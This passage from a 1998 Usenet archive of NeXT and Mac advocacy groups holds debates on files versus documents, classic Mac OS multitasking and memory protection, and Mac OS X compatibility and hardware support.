that make up the _Document_. So, the Workspace application allows one to
choose either view.
If I start the Terminal application instead and run a command line shell,
I am looking by default at the File System level; what appears to the
RTF Editor as one document, appears to the shell as a directory with
several files in it.
This gives me, as a user, the freedom to work with Documents or Files,
whichever I choose.
Another thing: Wether something is seen as a Document or not is dependent
on the Application you use. Let's go back to the 'Rich Text with embedded
images' example. As I already mentioned, a Rich Text Document is stored in
a number of files: The text in one file, and each image in another file -
all bundled together in one directory.
Now say that I decide I want to edit one of the images that I pasted into
the Text document.
I do _not_ need to open the RTF document, copy out the image and paste it
into my image editor, edit it there, then paste it back. Instead, I just
open the image editor, select 'Open...' in the 'Image' menu, and browse
through the file system until I find my RTF document. Since the RTF
Document is not a Document from the point of view of the image editor, it
'just' displays it as yet another directory among many; and I can
_directly_ access the file which contains the _image_ that I want to edit,
since the Image edirot correctly itdentifies those files inside the RTF
document directory that contain images.
So, again, the distinction between the entities in the file system (File,
Directory, etc) and the Data that you can store using these entities
(Documents, Applications, Preference settings, whatever) is an important
and highly useful one.
Do you understand this a bitt better now?
>
>Andy Bates.
// Christian Brunschen
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.next.programmer,comp.sys.mac.programmer.misc
Subject: Distinction between Files and Documents (was Re: Mac OS X UI)
Followup-To: comp.sys.next.programmer,comp.sys.mac.programmer.misc
Date: 2 Aug 1998 18:41:13 +0200
Organization: The Computer Society at Lund
Message-ID: <6q24r9$74d$1@bartlet.df.lth.se>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R3007981322040001@news> <SCOTT.98Jul30210152@slave.doubleu.com> <andyba-ya02408000R3107981056140001@news>
NNTP-Posting-User: cb
(Followup-To: comp.sys.next.programmer,comp.sys.mac.programmer.misc)
In article <andyba-ya02408000R3107981056140001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <SCOTT.98Jul30210152@slave.doubleu.com>,
>scott@nospam.doubleu.com (Scott Hess) wrote:
>
>> In article <andyba-ya02408000R3007981322040001@news>,
>> andyba@corp.webtv.net (Andy Bates) writes:
>> In article <SCOTT.98Jul28084322@slave.doubleu.com>,
>> scott@nospam.doubleu.com (Scott Hess) wrote:
>> > It wasn't in a filesystem, therefor it wasn't a file.
>>
>> See, this is where we differ. I'm talking about the conceptual idea
>> of a "file" as the user understands it; you're talking about the
>> literal "it's only a file if it's in a filesystem" idea of a file.
>> For a user interface, the first one is important, not the second
>> one.
>>
>> Then what difference does it make if we call it "document", instead?
>
>It really doesn't make much difference, except "File" takes up less room on
>a menu bar.
The difference is also that the word 'File' in the computer context comes
from the use of a file system for storing documents, whereas users want to
work on their actual documents (they don't really care how they're stored,
do they?), so 'Document' is a more suitable general-case label for the
menu. Of course, a spreadsheet might name the menu 'Spreadsheet', an image
editor might call it 'Image', etc ... an application that could handle
multiple types of documents might have one menu for each type.
>
>> But to the users, a document and a file are the same thing. That's
>> my point. If you have a letter in memory, or on the hard disk,
>> printing each one out will result in the exact same printed result.
>> Likewise, both look the exact same when loaded into memory.
>> Therefore, conceptually, they are both the same thing. They are
>> both files, in the most general sense of the word.
>>
>> The problem is that you've taken the word "file" and redefined it to
>> have the usual meaning of "document".
>
>By the literal, dictionary definition of "file," it means the same thing.
>The only problem comes when you use the filesystem definition of "file."
>This definition does not matter to the user.
I'm sorry, but the definition of 'File' in the computer sense _is_ the
filesystem definition; your attempt to re-define 'file' to mean 'document'
is wrong, and not supported, even by an ordinary dictionary. If
'File' indeed was a synonym to 'Document', I think a dictionary
would reflect that; Here's what Webser's dictionary & thesaurus say about
'File' and 'Document' respectively (and these are the _full_ results for
looking up these words in Digital Webster's as it is on my NeXTCube,
nothing snipped).
--- begin quote: 'file' ---
1file \'f
[ME, fr. OE fe
(bef. 12c)
1: a tool usu. of hardened steel with cutting ridges for forming or
smoothing surfaces esp. of metal
2: a shrewd or crafty person
2file vt filed; fil·ing
(13c)
:to rub, smooth, or cut away with or as if with a file
3file vt filed; fil·ing
[ME filen, fr. OE fy
chiefly dial
(bef. 12c)
:DEFILE, CORRUPT
4file vb filed; fil·ing
[ME filen, fr. MF filer to string documents on a string or wire, fr. fil
thread, fr. OF, fr. L filum; akin to Arm j il sinew]
vt
(15c)
1: to arrange in order for preservation and reference <file letters>
2a: to place among official records as prescribed by law <file a mortgage>
b: to send (copy) to a newspaper <filed a good story>
c: to return to the office of the clerk of a court without action on the merits
3: to perform the first act of (as a lawsuit) <threatened to file charges
against him>
~ vi
1: to register as a candidate esp. in a primary election
2: to place items in a file
5file n
(1525)
1: a device (as a folder, case, or cabinet) by means of which papers are
kept in order
2a archaic: ROLL, LIST
b: a collection of papers or publications usu. arranged or classified
c: a collection of related data records (as for a computer)
on file: in or as if in a file for ready reference
6file n
[MF, fr. filer to spin, fr. LL filare, fr. L filum]
(1598)
1: a row of persons, animals, or things arranged one behind the other
2: any of the rows of squares that extend across a chessboard from white's
side to black's side
7file vi filed; fil·ing
(1616)
:to march or proceed in file
file´ \fe-'la
[AmerF (Louisiana), fr. F, pp. of filer to twist, spin]
:powdered young leaves of sassafras used to thicken soups or stews
§ Thesaurus:
file n
syn LINE 5, echelon, queue, rank, row, string, tier
--- end quote: 'file' ---
--- being quote: 'document' ---
1doc·u·ment \'da
[ME, fr. MF, fr. LL & L; LL documentum official paper, fr. L, lesson,
proof, fr. docere to teach more at DOCILE]
(15c)
1a archaic: PROOF, EVIDENCE
b: an original or official paper relied on as the basis, proof, or support
of something
c: something (as a photograph or a recording) that serves as evidence or proof
2a: a writing conveying information
b: a material substance (as a coin or stone) having on it a representation
of the thoughts of men by means of some conventional mark or symbol
c: DOCUMENTARY
doc·u·men·tal \,da
2doc·u·ment \'da
(1711)
1: to furnish documentary evidence of
2: to furnish with documents
3a: to provide with factual or substantial support for statements made or
a hypothesis proposed; esp: to equip with exact references to
authoritative supporting information <the thesis was well documented with
footnotes on every page>
b: to construct or produce (as a movie or novel) with authentic situations
or events <his film documented the living conditions in the ghetto>
4: to furnish (a ship) with ship's papers
doc·u·ment·able \-e-bel, ,da
doc·u·ment·er \'da
§ Thesaurus:
document n
1 something preserved and serving as evidence (as of an event, a
situation, or the culture of a period) <ceramic and flint artifacts
provide our only document of this ancient people>
syn archive(s), monument, record
rel evidence, testimony
2 usu documents pl syn CREDENTIALS, certification, documentation, paper(s)
--- end quote: 'document' ---
Not the complete absence of anything that indicates an equivalence of
meaning of 'file' and 'document' in _any_ senses of the words.
>
>> While a good argument can be
>> made that the general user confuses the terms, that doesn't mean such
>> confusion should be a _goal_.
>
>But it's not "confusion" to the user, since the user doesn't care (or need
>to care) about the difference between a file in memory and a file on the
>disk!
Wrong - the User doesn't care or need to care about the destinction
between a Document in Memory, or a Document in a file (which in turn might
be on disk, on tape, in a RAMdisk, or whatever).
The main concept that the user works with as he works within his
application, is the Document that the application handles.
The concept of 'File' is directly related to the possibility of making the
Document persistent or preparing it for transfer somewhere else. If the
user does not need to do either of those things with his Document, then
the concept of File need never be introduced. And even if the user does
need to store or transfer the Document, the concept of File can be hidden,
from the user.
You could, conceptually, have a system where you access your Applications
from one distinct part of the interface, and your Documents from another
distinct part; then you would never have to tell the user about the fact
that both Applications and Documents are stored in Files.
Again: Both Applications and Documents _are stored in_ Files. Neither of
them _are_ Files, however. And moreso, you need never introduce the
concept of 'File' to the user, sonce the user generally worries about
their _contents_ (Documents and Applications).
Actually, I beleive the PalmOS system (PalmPilot, Palm III) has this
distinction between Applications and Documents, and that the concept of
'File' never shows up.
>
>> Importantly, if you want to subvert the
>> word "file" to mean "document", then what should we literal people say
>> when we _mean_ "file"?
>
>It depends on the context; if you're talking to a bunch of programmers,
>they'll know what you're talking about. It seems that you are the one who
>wants to subvert the word "file," since you are modify the dictionary
>definition (a collection of data) and making it more specific (a collection
>of data located within a filesystem).
Well, in a computer context, the connection with a file system is the
thing that differenciates between just any old collection of data and a
File, so you are incorrect that we are trying to subvert the word 'file'.
And again, even if the dictionary definition is 'file: a collection of
data', this does _not_ mean that there is automatically a definition in
the opposite direction, ie 'collection of data: file'. You are making the
mistake of assuming an equivalence where only an implication exists, as I
have pointed out numerous times.
>
>> Specifically, files manipulated by the Finder,
>> Explorer, or Workspace Manager are files, not documents (regardless of
>> whether they're files _containing_ documents, you are manipulating
>> them as files, not documents. They don't have the richness of
>> documents).
>
>And again, the distinction doesn't (and shouldn't) matter to the user.
Oh, but the distinction is there, and does matter to the user.
In some contexts, the User will want to work with Documents; in other
contexts, the user fill want to work on Files. They are two distinct
concepts which serve different purposes. Again, I already examplified why
the user might never need to come across the concept of a 'File' at all.
On those systems where the concept of File _is_ exposed to the user, there
is usually a good reason - namely that of allowing to work with _files_ as
_files_ - that is, allowing the user to handle the containers without
worrying without their contents. Thus, the 'File' concept is _very_
important, and it is important to keep it distinct from the concept of
'Document' - a line which you are attempting to blur.
>
>> I think a valid working definition of "file" would be "a serialized
>> form of a document". In less technobabble terms, "a file is a form of
>> a document which can be transported as a unit, and read in elsewhere
>> to recreate the original document." Just because people sometimes use
>> the terms interchangeably doesn't mean that they don't know the
>> difference,
>
>But to the user, "File" works just fine, and is technically accurate. Which
>was my original point.
No, it is not technically accurate, no matter how many times you say it.
There is no one-to-one correspondence, no equivalence, between documents
and files. I can store multiple Documents within one File, or I could use
multiple Files to store one Document; there is a very distinct difference.
In fact, the difference between 'File' and 'Document' is _very_ apparent
on a NeXT system, or OPENSTEP, or Rhapsody: a RTFD document (Rich Text
with embedded pictures etc) is stored in several files, all 'bundled up'
in one directory. The text is in one file, each image is in another. Yet a
Rich Text Editor will treat this as one unit, one _Document_. And, as long
as I use the editor to look for the Document, I will find it as _one
Document_.
In the Workspace application, by default it is also presented as one
entity (since the Workspace is often used to locate documents and
double-click on them to open them in the appropriate application). Byt
with a simple command ('File->Open as Folder', or Command-Shift-O) I can
view the contents of the directory - I can get at the different _Files_
that make up the _Document_. So, the Workspace application allows one to
choose either view.
If I start the Terminal application instead and run a command line shell,
I am looking by default at the File System level; what appears to the
RTF Editor as one document, appears to the shell as a directory with
several files in it.
This gives me, as a user, the freedom to work with Documents or Files,
whichever I choose.
Another thing: Wether something is seen as a Document or not is dependent
on the Application you use. Let's go back to the 'Rich Text with embedded
images' example. As I already mentioned, a Rich Text Document is stored in
a number of files: The text in one file, and each image in another file -
all bundled together in one directory.
Now say that I decide I want to edit one of the images that I pasted into
the Text document.
I do _not_ need to open the RTF document, copy out the image and paste it
into my image editor, edit it there, then paste it back. Instead, I just
open the image editor, select 'Open...' in the 'Image' menu, and browse
through the file system until I find my RTF document. Since the RTF
Document is not a Document from the point of view of the image editor, it
'just' displays it as yet another directory among many; and I can
_directly_ access the file which contains the _image_ that I want to edit,
since the Image edirot correctly itdentifies those files inside the RTF
document directory that contain images.
So, again, the distinction between the entities in the file system (File,
Directory, etc) and the Data that you can store using these entities
(Documents, Applications, Preference settings, whatever) is an important
and highly useful one.
Do you understand this a bitt better now?
>
>Andy Bates.
// Christian Brunschen
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp,sys.next.programmer,comp.sys.mac.programmer
Subject: cancel
Control: cancel <6q24e9$5st$1@bartlet.df.lth.se>
Date: 2 Aug 1998 18:41:45 +0200
Organization: Datorföreningen vid LU och LTH
Message-ID: <6q24sa$76c$1@bartlet.df.lth.se>
NNTP-Posting-User: cb
<6q24e9$5st$1@bartlet.df.lth.se> was cancelled from within trn.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dd5aqn.oacg3r1w30x9qN@dialup119-1-10.swipnet.se>
References: <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net> <6psua5$dj9$1@plo.sierra.com> <joe.ragosta-0108980723530001@elk78.dol.net> <6pvq5u$lb9$1@nnrp1.dejanews.com> <joe.ragosta-0208981107500001@elk36.dol.net>
Organization: pv
Date: Sun, 02 Aug 1998 16:45:00 GMT
NNTP-Posting-Date: Sun, 02 Aug 1998 18:45:00 MET DST
Joe Ragosta <joe.ragosta@dol.net> wrote:
>> strcpy( (char *) 0, "Restart Mac here (interupt vector gone)." );
>
> So what? The following messes up my Windows machine and not my Mac:
>
> "fdisk".
There is a big difference. The first is far beyond an end-users control
since it emulates a bug in an application. The other is by a users own
actions and choice (On the Mac: "Special/Erase Disk..." or drag stuff to
trash or "Drive Setup" or...).
The most important thing is that the first problem can be handled
automatically by applying well known and widely used OS techniques.
Techniques in their fourth decade of commercial use (hence the quotes
often found around "modern" OS). Standard techniques that Apple so far
has been unable to deliver. This is terribly weak of Apple. This
weakness is what brought Apple to its knees. You can't seriously claim
that the two examples are comparable.
No one in their right mind disputes that W95/8 is broken, but that does
not justify a broken Mac OS!
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp,sys.next.programmer,comp.sys.mac.programmer
Subject: cancel
Control: cancel <6q24e9$5st$1@bartlet.df.lth.se>
Date: 2 Aug 1998 18:45:54 +0200
Organization: Datorföreningen vid LU och LTH
Message-ID: <6q2543$7sp$1@bartlet.df.lth.se>
NNTP-Posting-User: cb
<6q24e9$5st$1@bartlet.df.lth.se> was cancelled from within trn.
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp,sys.next.programmer,comp.sys.mac.programmer
Subject: cancel
Control: cancel <6q24e9$5st$1@bartlet.df.lth.se>
Date: 2 Aug 1998 18:46:28 +0200
Organization: Datorföreningen vid LU och LTH
Message-ID: <6q2554$7vu$1@bartlet.df.lth.se>
NNTP-Posting-User: cb
<6q24e9$5st$1@bartlet.df.lth.se> was cancelled from within trn.
Date: Sun, 02 Aug 1998 10:03:08 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <stevehix-0208981003090001@ip29.safemail.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu> <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz> <tbrown-2507981513060001@mv202.axom.com> <slrn6rtgmc.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Josh.McKee-2907981837280001@pm3a7.rmac.net>
Organization: Close to None
In article <Josh.McKee-2907981837280001@pm3a7.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <slrn6rtgmc.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
> > Maybe it would be easy to support some earlier machines.
> > Maybe not. Kernel development is not easy, and requires luck,
> > experience and insight. Extra bodies thrown at the task do not
> > accomplish squat. Ask IBM.
> If this statement is to be held true, then the counter arguement, that
> Apple doesn't have the manpower to test OS X on the unsupported systems,
> must be false.
Sorry.
The fact that throwing more bodies at a problem may not only
not get it done sooner, but may actually take longer or even
cause the effort to fail does *not* imply that fewer bodies
will ensure success.
Read "The Mythical Man-Month" some time...
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Distinction between Files and Documents (was Re: Mac OS X UI)
Message-ID: <1998080217252200.NAA13088@ladder03.news.aol.com>
Date: 2 Aug 1998 17:25:22 GMT
Organization: AOL http://www.aol.com
References: <6q24r9$74d$1@bartlet.df.lth.se>
Christian said:
>You could, conceptually, have a system where you access your Applications
>from one distinct part of the interface, and your Documents from another
>distinct part; then you would never have to tell the user about the fact
>that both Applications and Documents are stored in Files.
Actually, there was such a UI, HP's NewWave, available for Windows, some Unix
systems? and almost as the UI for the NuTek Macintosh clone.
Applications were installed as object masters (forget the exact term) if they
created documents or as "tools" if they did not. Then, to access an application
which created a document, one navigated to the folder one wanted it stored in,
and made the choice "create a new..." and then selected the document type from
the list of available masters.
Wonderful and transparent and it made it almost impossible for a user to claim
with any validity, "I don't know where 'x' is filed."
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Sun, 02 Aug 1998 19:27:00 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q2ei4$kd4$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net> <6pqgr8$mb2$1@nnrp1.dejanews.com> <macghod-0208980136340001@sdn-ar-001casbarp291.dialsprint.net>
In article <macghod-0208980136340001@sdn-ar-001casbarp291.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> By the definition I gave? Their is no definition up their...
> As far as what are real os's, linux, openstep, macos x server, macos x...
You said "...on REAL os's no software COULD do this [stop the multitasking],
no matter how hard the programmer tried." You didn't give a definition but
you gave a necessary condition. So you can now remove linux and openstep from
your list of "real" operating systems because they both have exploitable bugs
that can cause the multitasking to stop. Remeber that you said "...no matter
how hard the programmer tried."
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: a lt en ber@nashville.com (Lee Alte nb erg)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 2 Aug 1998 19:57:47 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6q2gbr$1vs$1@supernews.com>
References: <35bbc451.0@news.depaul.edu> <1998072701033400.VAA23503@ladder01.news.aol.com>
<6pirnq$os9$1@news.spacelab.net> <6piu3d$ha6$1@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
It is very interesting to see how this thread developed. In my original
post, I exclaimed on how remarkable it was that Apple was still in business
with the clunky system of multitasking it had, and that it was remarkable
that NT was taking over the world when a simple thing like an FTP download
would freeze its modal dialog box on the screen for 15 seconds. Meanwhile,
NEXTSTEP has performed better than this in multitasking and user
responsiveness for nine years on equipment 1/10 the speed.
Most of the thread that developed consisted of defences of MacOS vs. Windows
multitasking. This then explains why Apple managed to survive and NT is
taking over the world. For most people it's good enough, and even worth
bandwidth defending.
But the point is, NEXTSTEP 5 and 6 --- a.k.a. MacOS X-server and MacOS X ---
are coming. And when people find that they can burn CDs, watch a Quicktime
movie, print, download a file, upload a file, run Photoshop filters, etc. all
at the same time, without worrying about which app works with which other,
about what to shut down in order to avoid making coasters, without worrying
about viruses, or about their kids trashing their system folders, or about
anyone else reading their confidential files, or worrying about whether
installing or uninstalling one app will screw up their system, and just
marvelling at the instant responsiveness of their windows...
You get what I mean. I think it will be a hit, and that once people get a
taste of no-hassle computing, they will never go back.
Unless of course, if Microsoft does finally take over the world. Or if Apple
charges a nominal egg for MacOS X. Or if Apple joins the Dark Side and
copies Microsoft's ways.
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: a l t e n b e r@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: jmcn@ont.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 2 Aug 1998 15:43:01 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <MPG.102e8b4c5df707fb9896ce@news.ont.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com> <joe.ragosta-0108982044400001@elk34.dol.net>
In article <joe.ragosta-0108982044400001@elk34.dol.net>,
joe.ragosta@dol.net says...
> In article <6pvl66$5ms@news1.panix.com>, sal@panix.com wrote:
>
> > On 28 Jul 1998 01:45:47 GMT, Jonathan Hendry <jhendry@cmg.fcnbd.com> wrote:
> > >Note that Matrox's latest, and very, very fast 2d/3d cards apparently only
> > >come in AGP
> > >versions. No PCI.
> >
> > They support PCI 2.1, but Matrox isn't building any PCI based versions at
> > first. They claim "lack of demand". I wonder how many people will want/need
> > to have two video cards and be shut out due to everyone moving to AGP?
>
> Oh, no!!!
>
> Most PCs don't have AGP. Only newer systems (< 1 year old) have AGP.
> MATROX IS SCREWING THEIR CUSTOMERS!!!!
>
> (at least if you hold them to the same standards that people are trying to
> hold Apple to).
Your perverted Apple love never fails to amaze..
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 02 Aug 1998 17:36:18 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35C4DBD0.71F2@bellatlantic.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <35C161F5.925953A@earthlink.net> <stevehix-0108981435170001@ip57.safemail.com> <6q0bc2$g5u$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
quinlan@intergate.bc.ca wrote:
>
> On the Windows site, remember that Windows NT does not have all
> the features that 95 does so some people choose Windows 95 (and
> vise-versa). What features does Mac OS 8/9 have that would be
> lost if you went with Mac OS X?
>
Backward compatability with 68k apps and extensions. My impression
from the carbon paper and Job's keynote at WWDC was that Apple is
planning to drop all support for emulated code in MacOS X. If you
have an app that only comes as a 68k binary, you can't run it on
OS X and would need to keep an OS 8.x system around.
Beyond that, OS 8.x is a full implementation of "classic" MacOS,
while OS X will be a trimmed down implementation, only providing
the Carbon subset of the system calls. While Apple said that pre-
carbon apps would run, but not be able to take full advantage of
the new OS features, I will bet that some apps will be sensitive
to the behavior of the emulated system calls (or libraries, or
whatever Apple plans to do to support apps that make pre-Carbon
system calls) that they will break on OS X. You can be certain
that there will be apps that will ONLY run on OS X, just as there
are apps that ONLY run on PPC.
- Jeff Dutky
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Final Advocacy BloodDrive Update
Date: Mon, 3 Aug 1998 08:10:25 -0500
Organization: Prairie Group
Message-ID: <MPG.102f72bf85944a6f989a8f@news.supernews.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com> <slrn6r6jnt.9fc.sal@panix3.panix.com> <MPG.102e2efd1815cc9b989a73@news.supernews.com> <gdwarnernyet-0308980424190001@mg-20664222-21.ricochet.net>
In article <gdwarnernyet-0308980424190001@mg-20664222-21.ricochet.net>,
gdwarnernyet@ricochet.net says...
> In article <MPG.102e2efd1815cc9b989a73@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
>
> > After three weeks, here are the totals:
> >
> > Macintosh 2.5 votes
> > BeOS 1.0 votes
> > Windows .5 votes
> >
> > If I get a slew of votes I'll post again, but it looks like there's very
> > little interest.
> >
> > So, farewell, and the patients needed blood thank those who gave.
> >
> > Donald
>
> Geez, I *knew* I forgot something ... I donated blood sometime last week.
> Add one more for the Mac (imagine: this place had cookies but (GASP!!) No
> Milk!! :o\ Cookies and Apple Juice ... I don't think it will catch on).
>
> Anyway ......
>
> --gdw
>
>
Can you send me email at don.brown@cesoft.com? Just so I've got
everything in one place.
From what I understand, Milk doesn't immediately help you replace the
fluids like Apple Juice does. Yup, this is one place that has never Got
Milk.
Donald
From: Landivar2 <landivar2@geocities.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Sun, 02 Aug 1998 16:51:09 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35C4DF4D.1176@geocities.com>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com> <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net> <biggus.FILTER-3007981459590001@tele-anx0229.colorado.edu> <macghod-3007981420050001@sdn-ar-001casbarp097.dialsprint.net> <biggus.FILTER-3107980033570001@tele-anx0306.colorado.edu> <macghod-3107980129360001@sdn-ar-001casbarp015.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Steve Sullivan wrote:
> OH! You ran a 250 mhz p2. I am sorry, but since I have used macs all my
> life, I am not a expert on p2's, but isnt it true THEIRS NO F*CKING SUCH
> THING as a 250 mhz p2? If I am wrong, I will gladly apologize, but the
> only p2's I have heard about are 233 and 266 (and up), have never heard
> anything about a 250 mhz
Although I might be mistaken, I distinctly rembember IBM made a 250 mhz PII laptop.
I also rembemer that It was very slow compared to the desktop PII.
P.S.: Their is a very good chance that I am wrong
From: wagnerer@meson.engin.umich.edu (Eric Wagner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sun, 02 Aug 1998 18:29:53 -0400
Organization: University of Michigan EECS
Message-ID: <wagnerer-0208981829530001@troll.eecs.umich.edu>
